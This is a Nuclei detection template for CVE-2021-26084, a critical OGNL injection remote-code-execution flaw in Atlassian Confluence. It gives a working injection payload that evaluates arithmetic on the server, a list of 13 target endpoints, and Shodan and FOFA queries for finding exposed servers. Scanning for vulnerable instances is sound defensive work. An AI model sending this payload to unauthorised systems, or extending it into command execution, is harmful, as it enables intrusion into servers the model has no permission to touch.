Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
PoC
id: CVE-2021-26084
info:
name: Confluence Server - Remote Code Execution
author: dhiyaneshDk,philippedelteil
severity: critical
description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
remediation: |
Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
reference:
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
- https://github.com/Udyz/CVE-2021-26084
- https://github.com/0xsyr0/OSCP
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-26084
cwe-id: CWE-917
epss-score: 0.99999
epss-percentile: 0.99992
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 13
vendor: atlassian
product: confluence_data_center
shodan-query:
- http.component:"Atlassian Confluence"
- http.component:"atlassian confluence"
fofa-query: app="atlassian-confluence"
tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian,vkev,vuln
http:
- raw:
- |
POST /{{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
payloads:
path:
- pages/createpage-entervariables.action?SpaceKey=x
- pages/createpage-entervariables.action
- confluence/pages/createpage-entervariables.action?SpaceKey=x
- confluence/pages/createpage-entervariables.action
- wiki/pages/createpage-entervariables.action?SpaceKey=x
- wiki/pages/createpage-entervariables.action
- pages/doenterpagevariables.action
- pages/createpage.action?spaceKey=myproj
- pages/templates2/viewpagetemplate.action
- pages/createpage-entervariables.action
- template/custom/content-editor
- templates/editor-preload-container
- users/user-dark-features
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value="aaaa{140592=null}'
- type: status
status:
- 200
# digest: 4b0a00483046022100b2ea60de03fedf9dd3b9b6fe76347a5b72f0f37fc429ab0d1d78dbd880e899ef022100ca0af6eb31aaba86e659792777b4106778aea4ff8b74ac1804a5f8f927072597:922c64590222798bb761d5b6d8e72950
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